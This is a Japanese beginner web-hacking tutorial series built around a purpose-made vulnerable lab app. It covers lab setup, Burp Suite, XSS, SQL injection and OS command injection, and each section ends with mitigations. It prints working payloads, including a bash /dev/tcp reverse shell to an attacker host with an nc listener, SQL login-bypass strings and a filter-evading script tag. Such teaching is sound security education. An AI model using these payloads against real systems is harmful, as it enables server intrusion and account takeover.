ちなみに「127.0.0.1」の部分は省略しても構いません。というのもコマンドセパレータ「;」は前のコマンドが成功したかどうかにかかわらず、コマンドセパレータ後のコマンドを実行するからです。
下記画像ではIPアドレスを省略しています。
Burp SuiteのRepeater機能を使ってペイロードを送信すると、dateコマンドを実行することができます。

;date

これで任意のコマンドを実行することができました。
今回はdateコマンドを使用したので被害があるようには思えませんが、OSコマンドインジェクションが存在すると、かなりの確率でサーバーへ侵入されてしまいます。
詳細はペネトレーションテストの際にお伝えしますが、一度デモンストレーションを行ってみましょう。
今回、サーバーに侵入するため(リバースシェル)のペイロードは下記になります。

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1  # 10.0.0.1は攻撃用のKali LinuxのIPアドレスです。4444はポート番号です。

上記のペイロードを入力する前に、Kali Linuxでポートを開きましょう。今回は4444番を開きます。

nc -lvnp 4444

ポートを開いたら、先ほどのペイロードを送信しましょう。

;bash -i >& /dev/tcp/10.0.2.24/4444 0>&1

すると先ほど開いたポートにリバースシェルが到達していることが確認できます。

reverse shell

リバースシェルを取得したということはサーバーへ侵入ができたという事なので、ターゲットのサーバー上でどんなコマンドでも実行することができます。
実際に完全にサーバーを掌握するためには権限昇格をする必要がありますが、基本的に侵入できるとあらゆることが可能になると考えてください。

OSコマンドインジェクションなどのサーバーサイドの脆弱性は、サーバーの侵入に繋がるおそれがあることを理解してください。

OSコマンドインジェクション(Level2)

続いても「Pingプログラム」です。
まずは先ほどと同じペイロードを送信しましょう。

;date

すると下記の様なエラーが発生するはずです。

ping error

どうやら先ほどと同じペイロードでは上手くいかないようです。
ではどのように回避できるでしょうか?エラーを基に考えてみてください。

では正解に移ります。
エラーをよく見てみると、pingだけでなくdateコマンドに対してもエラーが発生しています。
エラー文を読むと、dateコマンドに存在しない「-c」というオプションが使用されていることが問題なようです。
このことからLevel2でのpingコマンドの全容を想像することが可能です。Level1と比較してみましょう。

# level1
ping -c 4 127.0.0.1
# level2
ping 127.0.0.1 -c 4

つまり、「-c」オプションとIPアドレスの順番が違うことによるエラーということです。
Level1ではIPアドレス(ユーザーの入力値)の後にコマンドがないので成功していましたが、Level2ではIPアドレスの後にコマンドがまだ続くため、先ほどのペイロードでは失敗してしまいました。
ではどうすればいいのでしょうか?
様々な選択肢がありますが、IPアドレス以降をコメントアウトする方法を使ってみましょう。
ペイロードはこちらになります。

;date #

「#」以降はコメントアウトされるため、「-c」オプションを無視することができます。
では実際に試してみましょう。

;date #

すると、dateコマンドが正しく実行されていることが分かります。

今回はコマンドのエラー文がレスポンスとして返ってきましたが、実際の環境ではエラー文が見えないことがほとんどです。
ですので、あえて時間経過を必要とするコマンド(pingなど)や外部への通信を行うコマンド(curlなど)をきっかけに、OSコマンドインジェクションを発見することが多いです。
OSコマンドインジェクションは、デモンストレーションでサーバーに侵入したように非常に危険な脆弱性のため、強固な対策が必要です。

対策

対策は大きく分けて3つ考えられます。
1つ目はインプットのバリデーションです。
今回の例であれば、ユーザーのインプットはIPアドレスに制限されます。ですので、ユーザーのインプットがIPアドレスになっているかどうかを、正規表現などでバリデーションすることが可能です。

2つ目は標準関数をできるだけ使用することです。
本記事の冒頭でお伝えしたファイルを開くという操作をする際は、一般的に標準関数を使用するとお伝えしました。
プログラミング言語には様々なライブラリが存在するので、OSのコマンドを実行する場面を最小限にすることが大切です。

3つ目は安全にOSのコマンドを実行できる関数を使用することです。
例えばJavaScriptでは下記の様にOSのコマンドを実行できます。

const { exec } = require('child_process');
exec(`ping -c 4 ${address}`, (err, stdout, stderr) => {
  if (err) {
     // execute something
  }
 // execute something
}

exec関数は実際に「Pingプログラム」で使用された関数です。
JavaScriptでは、exec関数でなく、execFile関数を用いることでより安全にOSのコマンドを実行できます。
execFile関数はデフォルトではシェルを起動せず、実行可能ファイルを直接実行するので、他のコマンドを実行することが不可能になります。

const { execFile } = require('child_process');
execFile('ping', ['-c', '4', address], (err, stdout, stderr) => {
  if (err) {
     // execute something
  }
 // execute something
}

以上の3つの対策を組み合わせることで安全にOSのコマンドを実行することが可能です。

お疲れ様でした。
続いてはディレクトリトラバーサルです。

learn-ethicalhacking.hatenablog.com

SQLインジェクション

では次にSQLインジェクションを見ていきましょう。

SQLインジェクションは、不正にデータベースへのクエリを実行する攻撃手法です。通常、Webアプリの入力フォームなどからの入力値を悪用して実行します。
ユーザーからの入力値をそのままSQLクエリに組み込んで実行するようなプログラムでは、悪意のあるユーザーがSQLコマンドを入力することで、意図しないクエリを実行させることが可能になります。
SQLインジェクションの結果、攻撃者はデータベースから機密情報を抜き取る、データを改ざんする、管理者権限を得るなどの悪用が危惧されます。

SQLについて知らない方は下記リンクが参考になります。
udemy.benesse.co.jp

まずは前回の「2乗計算プログラム」同様、本来の挙動を確認しましょう。
今回は「ログインプログラム」ということで、ユーザーネームとパスワードを入力してログインするプログラムの様です。
まずは適当なユーザーネームとパスワードを入力してみましょう。

login failed

すると上記のように「Login failed」というログインに失敗した旨のメッセージが出てきます。適当に試し続けて偶然当てることは難しそうですが、ここで登場するのがSQLインジェクションです。

ではまずこのログインプログラムがどのような処理を行っているのかを簡単に説明します。
サーバーには、ユーザーのユーザーネームとパスワードを格納しているデータベースがあります。
通常のアプリでは、新規登録やサインアップにてユーザーネームとパスワードを入力した際に、その情報がデータベースに保存されます。
そしてログイン画面でユーザーが入力した情報とデータベースに格納されている情報が合致すれば、ログインできるという仕組みです。

今回は下記の様なデータベース(テーブル)があると仮定します。

+----+---------------+--------------------+
| id | username      | password           |
+----+---------------+--------------------+
|  1 | test          | ItShouldBeCracked  |
+----+---------------+--------------------+


「user」というテーブルに上記のユーザー情報が格納されています。
そしてログインの際のSQL文は下記のようになります。(あえてSQLインジェクションに対して脆弱な書き方をしています。)

SELECT * FROM user WHERE username = "${username}" AND password = "${password}"

${}は、ユーザーがログインの際に入力した値です。
このSQL文は、「user」というテーブルの「username」コラムと「password」コラムの値に対して、ユーザーの入力したユーザーネームとパスワードで合致するものがあれば、そのユーザーの情報を返すというものです。
「AND」が使用されているので、当たり前ですがユーザーネームとパスワード両方が一致しなければいけません。
「SELECT」と「FROM」は直感的に分かりやすいと思いますが、「WHERE」は感覚的に分かりづらいかもしれませんが、要は条件を表します。

ではこのSQL文の何が脆弱なのでしょうか?
それはユーザーの入力値がそのままSQL文に入ってしまっているからです。
何が問題かというと、ユーザーがSQL文を上書きできてしまう所です。
例えばユーザーから下記の様なペイロードが送られてきたらどうでしょうか?

username=test" -- 

ユーザーネームとして上記のペイロードが送信された場合、最終的にどのようなSQL文になるか考えてみましょう。(パスワードは何を送信しても成立します。)

SELECT * FROM user WHERE username = "test" -- " AND password = "whatever"

MySQLでは「--」はコメントを表すため、「--」以降は無視することができます。(色付けされているため分かりやすいと思います。)
このSQL文でのWHERE句の条件は、ユーザーネームがtestであることだけです。
つまりパスワードを当てる必要がなくなったことを意味します。

ではこのやり方を実践してみましょう。
まずはこのWebアプリが、SQLインジェクションに脆弱であるという確証を得ましょう。
ユーザーネームに「"」を入れてみます。するとSQLのエラー文が返ってきます。
これは「"」がSQL文の一部として解釈され、その結果シンタックスが崩れたエラー文です。
実際の本番環境のアプリケーションでエラー文が返ってくることは稀ですが、エラー文が返ってくるとSQLインジェクションの疑いが高まります。

このままブラウザ上で入力していってもいいですが、ペイロードが長くなるにつれて見づらくなってきます。ですので、ここでBurp Suiteを使いましょう。
Burp Suite内のブラウザにて適当なユーザーネームとパスワードを入力してください。
その後「Proxy」タブの「HTTP history」タブを選択します。
そしてユーザーネームとパスワードを入力したPOSTリクエスト上で右クリックして「Send to Repeater」を選択してください。

Send to Repeater

そして「Proxy」タブから「Repeater」タブへと移動すると、先ほど送信したPOSTリクエストが見えるはずです。
「Repeater」ではリクエストの中身を変更して、何度もリクエストを送信したい場合に適しています。
今回であれば、様々なSQLインジェクションペイロードを送信して、レスポンスから挙動を確認します。
一度「Send」ボタンを押してみて、レスポンスが返ってくるか確認しましょう。

Repeater

レスポンスが返ってきて、下にスクロールすると「Login failed」の文字が見えます。
では先ほどのSQLインジェクションペイロードを送信してみましょう。

username=test" -- 

ログインに失敗してしまいます。
それもそのはずで、先ほど説明したように、このペイロードではユーザーネームが一致している必要があります。
ではユーザーネームをどうやって取得するのか、答えはどこかにあるので探してみてください。

では正解発表です。
「ログインプログラム」のページソースを見てみましょう。

page source

すると下記のコメントが残っていました。
「For those who forgot username, here is your username: admin」
これでユーザーネームがadminであることが分かりました。現実世界でも開発者がうっかり重要な情報や機能を公開してしまう事があります。
これはページソースだけを指しているわけではなく、サブディレクトリやサブドメインに開発途中の脆弱なプログラムが公開されていたり、GithubのCommitにAPIキーが残っていたりと様々な状況が考えられます。
開発者としては気を付ける必要があり、セキュリティエンジニアとしては見逃さないようにしなければいけません。
では先ほどのペイロードをadminに変更しましょう。
ちなみに、"--"の後には必ずスペースを空けるようにしてください。

username=admin" -- 

送信すると、下記画像の様にadminとしてログインに成功したことがわかります。

Login successful

このようにSQLインジェクションを悪用することで、パスワードが分かっていない状態でもログインすることができます。
しかしそれでもハードルはあります。結局ユーザーネームは当てなくてはいけないということです。
実は今回の状況では、ユーザーネームとパスワードも分かっていない状態でログインが可能です。

では先ほどのSQL文でもう一度考えてみましょう。

SELECT * FROM user WHERE username = "${username}" AND password = "${password}"

先ほどお伝えしたように、WHERE句では条件を指定することができます。
現状は「AND」があるため、ユーザーネームとパスワード両方を合致させる必要がありました。
しかしユーザーネームとしてコメントアウト(--)を送信することができるため、AND以降を考える必要はなさそうです。
ではこんなペイロードはどうでしょうか。

username=" OR 1=1 -- 

このペイロードが挿入されると、最終的なSQL文は以下になります。

SELECT * FROM user WHERE username = "" OR 1=1 -- " AND password = "whatever"

WHERE句部分を解説すると、ユーザーネームが空白または、1が1であれば、userテーブルからユーザー情報を取得するという意味です。
皆さん気づきましたか?
そうです、「1=1」は当然ながら必ず成立します。
そして「1=1」が成立する時点で、ユーザーネームが当たっていようがいまいが、必ずWHERE句は真(True)になります。
今回のケースでは、データベースの一番上に存在するadminユーザーの情報が取得できます。

では実際に試してみましょう。下記のペイロードを送信しましょう。

username=" OR 1=1 -- 
Login successful

ちなみに今回のテーブルには2人のユーザーの情報が格納されているため、下記のペイロードを送ると別ユーザーとしてログインできます。

username=" OR 1=1 ORDER BY id DESC-- 
Login as john

これはidを逆から並べたときに一番上にいるユーザーの情報を取得するというものです。

対策

対策方法は静的プレースホルダーを使用することです。
XSSと同様に、こちらの対策方法も基本的にライブラリやフレームワークレベルで提供されているので、簡単に実装できます。
静的プレースホルダーは、クエリ(SQL文)の準備段階で変数をバインドします。この手法は、パラメータの値(ユーザーが入力した値など)がクエリの一部として評価される前に、データベースエンジンによって型がチェックされるため非常に安全です。
JavaScriptでの実装例が以下になります。

var username = req.body.username;
var password = req.body.password;
const query = 'SELECT * FROM user WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results, fields) => {
  if (error) throw error;
  // データの処理
});

上記のように?(プレースホルダー)を使用することで、SQLインジェクションを対策することができます。
ちなみに、今回はパスワードをそのまま平文でデータベースに保存していますが、本来であらばソルトを用いたハッシュ化を必ず行うべきです。
気になる方は下記記事を読んでみてください。
auth0.com

いかかでしょうか。SQLインジェクションは、アプリケーション上に存在すると、他人のアカウントでログインできてしまうというおそろしい脆弱性です。
SQLインジェクションはログイン機能だけに存在するわけではなく、サーバーにてSQL文を使用する処理になっていれば、あらゆる機能がSQLインジェクションの対象になります。
今回はSQLインジェクションでログインの不正を行いましたが、他にもデータベースの情報を不正に入手・削除したり、サーバーの侵入まで被害が及ぶことがあります。

次はOSコマンドインジェクションです。

learn-ethicalhacking.hatenablog.com

XSS(クロスサイトスクリプティング)

では実施にWebアプリケーション(以後:Webアプリ)を攻撃してみましょう。
まずはWebアプリの一番上にある「XSS(クロスサイトスクリプティング)」から行います。

XSSクロスサイトスクリプティング)とは、Webアプリの脆弱性の1つで、攻撃者が悪意のあるスクリプトを注入し、他のユーザーのブラウザでそのスクリプトを実行させるものです。攻撃者は被害者のセッション情報を奪取したり、不正な操作を行わせたりすることができます。

XSSは以下の3つの種類に分けられます。

1. Stored XSS(蓄積型): 攻撃者は悪意のあるスクリプトをWebアプリのデータベース上に永続的に保存します。コメントや投稿のような、ユーザーが生成するコンテンツを介すことで可能となります。その後、そのページを見る全てのユーザーに対してスクリプトが実行されます。

2. Reflected XSS(反射型): 攻撃者はURLの一部として悪意のあるスクリプトを含め、そのリンクをクリックしたユーザーのブラウザ上でスクリプトを実行させます。反射型XSSは、メールやWebサイト上にあるリンクを介して実行されます。

3. DOM-based XSS(DOM型): 攻撃者は悪意のあるスクリプトを利用して、WebページのDOM(Document Object Model)を操作します。DOMは、ブラウザがWebページの構造を理解し、それと対話するためのプラットフォームとAPIの集合です。攻撃者は、ウェブページの構造や内容を動的に変更するためにDOM型XSSを利用します。

今回実践的に学ぶのは反射型XSSです。個人的な感覚ではXSSの中で、反射型XSSに一番遭遇していると思います。

ではKali LinuxのブラウザからWebアプリにアクセスしましょう。
本カリキュラムのXSSではBurp Suiteを使う必要はありませんので、お好きなブラウザを起動してください。
僕はBurp Suiteのブラウザにて操作します。(ブラウザによっては一部XSSへの対策をしていることがあるので、Burp Suiteのブラウザがおすすめです。)

XSS(クロスサイトスクリプティング) - Level1

トップページより「XSS(クロスサイトスクリプティング) - Level1」をクリックしてください。
すると「2乗計算プログラム」という画面が表示されたはずです。

2乗計算プログラム

攻撃する前に通常の動作を確認しましょう。

例えば3という数字を入れてみます。すると2乗された数字9が表示されます。

3の2乗

他の数字で試してみても、全て2乗されて出力されることが分かります。
気づいたかもしれませんが、2乗された数字だけでなく入力した数字も同時に画面に出力されています。
サイバーセキュリティに関わる人間は必ずここでXSSがある可能性を疑います。

次に一度「hello」という文字列を入力してみましょう。

helloの2乗?

もちろん文字列「hello」を2乗することは数学的に不可能ですから、2乗された数字ではエラーっぽいものが確認できます。(NaNはNot a Numberの略です。)
しかしながら、入力した数字として「hello」が出力されています。
つまり数字でなくても画面上に入力した文字列を出力できることが分かりました。

では一度下記の文字列を入れてみましょう。

<h1>hello</h1>

すると「hello」が大きな文字で表示されたことが分かります。

<h1>hello</h1>

これはいったいどういうことでしょうか?
先ほど入力した文字列は「HTML」と呼ばれるものです。

HTMLは「HyperText Markup Language」の略で、Webページを作成するためのマークアップ言語の1つです。HTMLはWebページの構造を定義し、テキスト・画像・リンク・フォームなどの要素を配置するためのタグを提供します。
HTMLについては下記記事が参考になります。
udemy.benesse.co.jp

どんなWebサイトであってもページソースを見ることができます。
実際に「2乗計算プログラム」画面の適当な黒い背景部分を右クリックして「View page source」を選択してください。
すると下記画像の様に、このWebサイトを構成するHTMLのソースコードが見えるはずです。

page source

ちなみにGoogleAmazonなどの大きなWebサイトであっても、同様の手法でHTMLのソースコードを確認できます。(可読性は低いことが多いです。)

上記の画像をよく見てみると、先ほど入力したHTMLのコードが注入されていることが分かります。
ちなみに<h1>は見出しを作成する際に使用するHTMLタグで、大きい文字を出力したい時に使用します。
これでHTMLのコードを注入できることが分かりました。

それではXSSの神髄に迫りましょう。
HTMLタグの中に<script>というものがあります。これはスクリプトタグと呼ばれ、JavaScriptというプログラミング言語スクリプトタグ内に記述できます。
JavaScriptはブラウザ上で実行されるため、任意のコードが実行できてしまうとクライアントサイドの脆弱性となってしまうのです。

例えば下記の様なコードを入力してみましょう。

<script>alert(1)</script>

すると、アラートが表示されるはずです。

alert

これで任意のJavaScriptを実行できることが分かりました。

ただアラートを表示させるだけでは、脆弱性とはならないと思われる方もいるでしょう。
しかしXSSが可能であれば下記の様なことが可能となります。

  • セッションハイジャック(アカウントの乗っ取り)
  • Webページの改ざん
  • 悪質なWebサイトへの強制移動
  • フォームへの入力内容の窃取

他にも様々な被害が考えられますが、今回は「悪質なWebサイトへの強制移動」を試してみましょう。
では下記のコードを入力してみてください。

<script>location="https://www.google.com"</script>

するとGoogleへ移動したと思います。(今回はGoogleを悪質なWebサイトであると想定しました。)

Google

しかし疑問に思う方もいるでしょう。
今までは自分で入力したコードが自分のブラウザ上で実行されているだけで、どのように他ユーザーへの攻撃が成立するのでしょうか?

「2乗計算プログラム」に戻って、もう一度アラートのスクリプトを入力してください。

<script>alert(1)</script>

アドレスバーを見てみると、下記の様にGETリクエストのパラメータとして先ほどのスクリプトが見えると思います。(一部URLエンコードされているので分かりづらいかもしれません。)

http://10.0.2.23:3000/xss-get-1?number=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

URL上に攻撃のスクリプトが混入できるということは、このURLを他人にクリックさせることができるということで、それは先ほどのJavaScriptを他ユーザーのブラウザ上で実行できることに繋がります。

今回はローカル環境で行っているため、みなさんの仮想環境でしか成り立ちませんが、例えば皆さんが使用しているショッピングサイトに反射型XSSがあればどうでしょうか?
反射型XSSを悪用した攻撃者が、クーポンを獲得できるURLを紹介しますというメールを送れば、一定数押してしまう人もいるでしょう。
XSSが普通のフィッシングメールに書かれている怪しいURLと比較して厄介なのは、ドメインが怪しく見えないということです。

怪しいフィッシングメールのURL例(ドメインは適当です)
https[:]//jfalksureoiewujfdalka-elkajjfadk.com/shop?product=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

XSSを利用したURL例(ドメインは適当です)
https[:]//yourshopping-site.com/shop?product=%3Cscript%3Ealert%281%29%3C%2Fscript%3E


これがXSSの概要です。
今回は反射型の一番基本的なXSSを攻撃してみました。
冒頭でお伝えしたように、XSSには蓄積型やDOM型など様々であり、興味のある方はぜひご自身で調べてみてください。

XSS(クロスサイトスクリプティング) - Level2

ではトップページに戻ってLevel2に挑戦しましょう。
こちらも先ほどと同じ反射型のXSSになります。プログラムも先ほどと全く同じ「2乗計算プログラム」です。

Level2は、XSSへの対策を講じたプログラムです。
しかし対策が不十分なことから、対策を回避することが可能です。
もし自分で挑戦したい方がいればここで記事を読むのを止めて、ぜひ挑戦してみてください。


では解説していきます。
前回同様のアラートを出すペイロードを入力してみましょう。

<script>alert(1)</script>

するとどうでしょうか、JavaScriptが実行されていないことが分かります。

Level2

入力したペイロードの一部が、入力した数字の欄に残っています。
これはどういうことでしょうか?
詳細をつかむために、ページのソースを見てみましょう。

page source

すると開始スクリプトタグの<と>がなくなっていることに気が付きます。
サーバーサイドのソースコードがない状態であれば、ここから色々なペイロードを送信してみて挙動を把握していきますが、今回はサーバーサイドのソースコードを見てみましょう。

app.get('/xss-get-2', (req, res) => {
  var number = req.query.number;
  number = number.replace("<", "").replace(">", "");
  var square = number * number;
  res.render("xss-level2.ejs", { number: number , square: square });
});


プログラムを書いたことのない人にとっては見慣れないコードだと思いますが、注目してほしい所は3行目です。

number = number.replace("<", "").replace(">", "");

何をしているかというと、GETリクエストで送られたnumberパラメータの値の中に<と>があれば消してしまおうというものです。replaceメソッドを用いてそれを実現しています。

しかし思い出してみてください。
先ほどのアラートを発生させるスクリプトでは、終了タグ(</script>)はそのまま残っていました。
JavaScriptのreplaceメソッドを調べてみましょう。
www.javadrive.jp
記事を読んでみると、上記ソースコードのreplaceメソッドの使い方では、一度目のマッチでのみ置換が適応されるとのことです。
ということは下記の様なペイロードが対策を回避するために考えられるでしょう。

<><script>alert(1)</script>

上記ペイロードでは先頭に中身のない空のタグを設置することで、空のタグ部分をreplaceメソッドで置換させ、残りのスクリプトを通常通り発火させることができます。
入力してみるとアラートを確認できます。

alert

このように脆弱性に対して対策が取られていたとしても、対策が不十分であれば回避することが可能であるということです。

対策

XSSへの対策は大きく分けて2つの方向性があります。
1つ目はインプットに対するバリデーションです。
Level2では、インプットに対してバリデーションがされているがその対策が不完全である例を示しました。
Level2ではタグを一度だけ置換していたことが問題なので、全てのタグを置換するようにすればリスクを低減することが可能です。
また、長く危険なスクリプトを挿入されることを防ぐために、サーバーにて文字数制限を設定することも効果的です。

2つ目がアウトプットに対するサニタイジングです。(こちらの方が導入が簡単で効果が大きいです。)
今回のアプリケーションは「Express」というフレームワークを用いて開発しています。
Expressのテンプレートエンジンである「ejs」では、簡単にXSSの対策をすることが可能です。

脆弱性のあるコード
<%- number %>
XSSの対策がされたコード
<%= number %>

numberは入力した数字を表しています。
このように「-」を「=」に変換するだけで簡単にXSSの対策をすることが可能です。
「=」ではエスケープ処理を行います。エスケープ処理とは、特殊記号をHTMLエンティティに変換することです。
昨今のWebアプリ開発では何かしらのフレームワークを使用することがほどんどです。
フレームワークでは、XSSへの対策が簡単に(もしくはデフォルトで)できるようになっていますので、開発する際は頭に入れておいてください。
基本的にインプットをバリデーションするよりも、アウトプットをサニタイジングするほうが難易度が低く、効果も絶大です。

お疲れ様でした。
次はSQLインジェクションです。

learn-ethicalhacking.hatenablog.com

Webアプリケーションのハッキング

ではこれから、僕が作成したWebアプリケーションへのハッキングを実際に行うことで、ハッキングの手法そして対策方法を学びましょう。

今回扱うWebアプリケーションは本カリキュラムのために作成したもので、脆弱性を攻撃するためだけの用途になります。

Webアプリケーションは、先ほどインストールしたLinux Mint上で動いています。

Webアプリケーションの脆弱性

実践に入る前に、Webアプリケーションの脆弱性とはどのようなものかを説明します。

Webアプリケーションの脆弱性とは、Webアプリケーションが攻撃者に対して意図しない動作を可能にするセキュリティ上の欠陥のことを指します。これはソフトウェアの設計ミスや実装エラーなどさまざまな原因で生じます。

Webアプリケーションの脆弱性を悪用されると、下記の様な被害が発生します。

  • データ漏洩:悪意のある攻撃者が脆弱性を利用してシステムにアクセスし、機密データを盗むことができます。これにはクレジットカード番号や個人情報などが含まれます。
  • コード実行:特定の脆弱性を利用すると、攻撃者は不正なコードをサーバー上で実行することが可能になります。結果的に、攻撃者はシステムを制御下に置くことができます。
  • 改ざん:攻撃者は脆弱性を利用してWebサイトの内容を改変することが可能です。これには、ユーザーを偽サイトに誘導したり、悪意のあるリンクやダウンロードを強制したりする場合があります。

Webアプリケーションの脆弱性は大きく分けて2つです。

クライアントサイドの脆弱性とサーバーサイドの脆弱性です。

クライアントサイドの脆弱性は、ユーザーのブラウザ上で発生する脆弱性であると考えてください。サーバーサイドの脆弱性は文字通りサーバー上で発生する脆弱性のため、情報漏洩などに繋がるおそれがあります。

Webアプリケーションには様々な脆弱性が存在しますが、今回は下記6つの脆弱性を学びます。

それぞれの脆弱性の説明は後ほど行います。

では実際にハッキングしてみましょう。

Burp Suite

まずはWebアプリケーションをハッキングするために必要なツールを起動します。

それが「Burp Suite」です。(Kali Linuxにすでにイントールされています。)

portswigger.net

Burp Suiteとはローカルプロキシツールであり、クライアント(ブラウザ)からサーバーに対して送信されるHTTP/HTTPSリクエストの中身を傍受・改変できるツールです。リクエストだけでなくレスポンスも取得可能です。

言葉で説明されても分かりにくいでしょうから、実際に触って学びましょう。

ちなみにローカルプロキシツールはBurp Suite以外にも様々なツールが存在しますが、おそらく最も利用者が多いであろうBurp Suiteを使用します。

僕も実際の業務でBurp Suiteを愛用しています。

まずKali Linux上で左上隅のアイコンを押して、Burp Suiteと検索して起動します。

全てデフォルトのまま次へ進めていくと、下記の様な画面が表示されるはずです。

Burp Suite

現在のBurp Suiteでは、設定済みのブラウザを開くだけですぐにHTTPSリクエストの傍受・改変が可能です。

Proxyタブを選択し、「Open browser」ボタンを押すと、ブラウザが立ち上がります。

ブラウザを開く

このブラウザから送信されるリクエストは必ずBurp Suiteを通るため、例えばGoogleに行ってみるとリクエストがキャプチャされているのが分かります。

「Proxy」タブの「HTTP history」タブを選択してください。

HTTP History - Google

Googleに飛んだだけですが、大量のリクエストが送信されていることがわかります。

各リクエストを見てみると、様々なデータが送信されていることが確認できます。それぞれの値が何を表しているかを説明すると時間がかかりますので、一番大事な「パラメータ」について知ってもらえればと思います。

下記記事を参考にしてみてください。簡潔に書かれています。

the-simple.jp

今回のカリキュラムで扱うリクエストは2つで、GETリクエストとPOSTリクエストです。

GETリクエストでは、パラメータがURLの一部として送信されます。下記の例では5という数字をパラメータとして送信しています。

https[:]//example.com/add?number=5

一方POSTリクエストではURLではなく、リクエストボディの一部として送信されます。

ですから、基本的にBurp Suiteなどのローカルプロキシツールを使用していないと、送信しているパラメータを確認することができません。

実際の例を見てみましょう。

POSTリクエス

上記画像では、127.0.0.1というIPアドレスを送信していることが分かります。

では実際に、ハッキング対象のWebアプリケーションへのリクエストをBurp Suiteで見てみましょう。

前回の記事でお伝えした方法で、ハッキング対象のLinux MintIPアドレスを取得します。そしてBurp Suiteで起動したブラウザにて、下記の様にURLを入力してください。(IPアドレスは先ほど取得したものを使用してください。)
下記例では、IPアドレスが10.0.2.23であったと仮定します。

http://10.0.2.23:3000 

Burp Suite - Hack Me

例えば「XSS(クロスサイトスクリプティング) - Level1」をクリックしてみると、2乗計算プログラムが出てきます。

適当な数字を入力してみましょう。

するとGETリクエストにて、入力した数字を送信していることが確認できます。

2乗計算プログラム

今はまだ通信の傍受だけで改変を行っていません。

実際にWebアプリケーションを攻撃する中で、必要となった際に方法をお伝えします。

では次の記事にて、XSSなどのWebアプリケーションの脆弱性を学んでいきましょう。

learn-ethicalhacking.hatenablog.com

 

環境構築

では環境を構築していきましょう。

この記事では、Windowsを前提に説明をしていきます。Macでも問題なく環境構築できるはずです。

今回は安全を期すため、ローカル環境の仮想マシン上にてハッキングを行います。

詳細が気になる方は別途調べてもらいたいのですが、仮想マシンはメインのOS(WindowsMacOS)上で動く別のOSであると考えてもらえれば良いかと思います。PC上で別のPCを動かすようなイメージです。

仮想マシン

VirtualBoxのインストール

今回はVirtualBoxにて仮想マシンをデプロイします。

ですので本カリキュラムを進めるにあたって、VirtualBoxを動かすことのできるPCが必要となりますので用意をお願いします。WindowsでもMacでも問題ありません。

下記リンクより、使用しているOSに適したファイルをダウンロードしてください。

www.virtualbox.org

VirtualBoxをインストールするにあたって特に詰まるポイントはないと思いますが、詰まってしまった場合は下記リンクを参考にしてみてください。

invisiblepotato.com

インストールが終わったら、VirtualBoxを起動してください。

すると下記の様な画面が表示されると思います。(僕の画面ではすでにいくつかの仮想マシンが入っているため、皆さんの画面とは異なりますが気にしないでください。)

VirtualBox

後々いくつかの仮想マシンを追加していきますが、取り急ぎ2つの仮想マシンを入れてみましょう。

仮想マシンの用意

1つ目の仮想マシンは、Kali Linuxという攻撃用の仮想マシンになります。

Kali LinuxLinuxの一種で、ハッキングするためにカスタマイズされたOSになります。これから僕たちはこの仮想マシンを使ってハッキングを行います。

Kali Linuxには、予め様々なハッキングツールが入っているためとても便利です。

ここでLinuxについて触れておきましょう。

Linuxという単語を初めて聞いた方もいるかもしれません。

LinuxというのはOSの一種で、WindowsMacOSの仲間であると考えてください。

Linuxと他のOSの違いを挙げることは省略しますが、LinuxはサーバーのOSとして選択されることが多いです。

Linuxを使用する上でのハードルはCLIを使用しなければいけないことです。

WindowsMacでは基本的に、マウスでクリックしたりドラッグしたりして操作します。しかしLinuxではコマンドを入力することで操作します。

下記画像を見てください。

コマンドライン

何が起こっているのか全く分からない人もいるでしょう。

Linuxでは、上記画像の様に「cd」や「ls」といったコマンドを入力することで操作します。

今回のカリキュラムを円滑に進めるためには、Linuxの基本的な操作が必要になります。

Linuxの基本操作をここではお伝えしませんが、下記Webサイトなどのコマンドは使えるようになると、Linuxが問題なく使えるはずです。

www.bold.ne.jp

後ほどKali Linuxをインストールした後に色々と触ってみてください。

仮想マシンの話に戻って、2つ目の仮想マシンLinux Mintです。(本カリキュラム用にカスタマイズしたものになります。)

Linux MintLinuxの一種で、本カリキュラムでは攻撃対象のサーバーであると仮定します。

つまり攻撃用の仮想マシンであるKali Linuxから、攻撃対象のサーバーであるLinux Mintをハッキングするということになります。

ハッキング

では早速2つの仮想マシンを追加しましょう。

まずKali Linuxは下記リンクよりダウンロードしてください。

www.kali.org

上記WebサイトでVirtualBox版のKali Linuxをダウンロードしましょう。

7-Zipで圧縮されたファイルがダウンロードされるはずなので、解凍します。

すると.vbox拡張子のファイルが見つかるはずです。

vbox

vboxファイルをダブルクリックするとVirtualBoxが起動して、インポートが完了します。

これでKali Linuxのインポートが終了しました。

Linux Mintをインポートする前に、一度Kali Linuxを触ってみましょう。

Kali Linuxの起動

VirtualBoxの左側で先程インポートしたKali Linuxを選択し、右側の起動ボタンを押しましょう。

Kali Linuxを起動する

基本的にKali LinuxはホストのOS(WindowsMacOS)とは隔離されていますので、Kali Linux上での変化がホストOSに影響を及ぼすことはありません。

起動後少し待っているとログイン画面が出るはずです。

Login

ユーザーネーム:kali

パスワード:kali

上記のクレデンシャルでログインしましょう。

この時点で画面が小さいままの人がいるかもしれません。その場合はログイン後、キーボード右側のCtrlキーとFキーの同時押しを何度か行うことで、フルスクリーンになるはずです。

もしそれでも画面が小さいままの人はGoogleしてもらうか、コメントしてください。

問題なくログインできた人は、下記の様な画面が見えているはずです。

Kali Linux

どうですか?かっこよくないですか?

先程話したようにLinuxでは基本的にコマンドを入力して操作します。

実際にコマンドを入力する前に、キーボードの設定を変更する必要があります。USキーボードを使用している人はスキップして大丈夫です。日本語キーボードの人は設定を変更しましょう。

左上隅のアイコンをクリックして、「keyboard」と打ちます。

すると下記画像のような画面が表示されるので、「Use system defaults」をオフにして、日本語を追加して一番上に移動させましょう。

その後「English(US)」は削除します。

Keyboard

これで問題なくコマンドが入力できるはずです。

画面左上の黒いターミナルのアイコンをクリックしましょう。

ターミナルを開くことで、下記画像の様にLinuxを操作することができます。

コマンドライン

上記画像では、以下のことを行いました。

ls:現在のディレクトリ内のファイルとディレクトリを表示する。

mkdir Hacking:「Hacking」という名前のディレクトリを作成する。

cd Hacking:「Hacking」ディレクトリに移動する。

ls:現在のディレクトリ内のファイルとディレクトリを表示する。(当然何もない)

echo "test" > test.txt:「test」という文字列が入った「test.txt」というファイルを作成する。

これらのLinuxの基本的な操作ができると、Linuxを使いこなせると思います。

Kali Linuxは一旦このくらいにして、Linux Mintをインポートしましょう。

